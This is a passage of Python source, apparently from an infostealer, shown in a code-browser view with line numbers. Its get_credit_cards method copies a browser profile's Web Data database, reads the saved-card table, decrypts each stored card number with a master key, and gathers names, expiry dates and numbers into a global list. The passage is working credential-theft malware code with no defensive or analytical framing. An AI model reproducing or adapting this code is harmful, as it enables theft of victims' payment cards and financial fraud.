(self, path: str, profile: str)
| 261 | os.remove('downloads_db') |
| 262 | |
| 263 | def get_credit_cards(self, path: str, profile: str): |
| 264 | cards_db = f'{path}\\{profile}\\Web Data' |
| 265 | if not os.path.exists(cards_db): |
| 266 | return |
| 267 | |
| 268 | shutil.copy(cards_db, 'cards_db') |
| 269 | conn = sqlite3.connect('cards_db') |
| 270 | cursor = conn.cursor() |
| 271 | cursor.execute( |
| 272 | 'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards') |
| 273 | for row in cursor.fetchall(): |
| 274 | if not row[0] or not row[1] or not row[2] or not row[3]: |
| 275 | continue |
| 276 | |
| 277 | card_number = self.decrypt_password(row[3], self.master_key) |
| 278 | __CARDS__.append(Types.CreditCard( |
| 279 | row[0], row[1], row[2], card_number, row[4])) |
| 280 | |
| 281 | conn.close() |
| 282 | os.remove('cards_db') |
| 283 | |
| 284 | |
| 285 | class Types: |
nothing calls this directly
no test coverage detected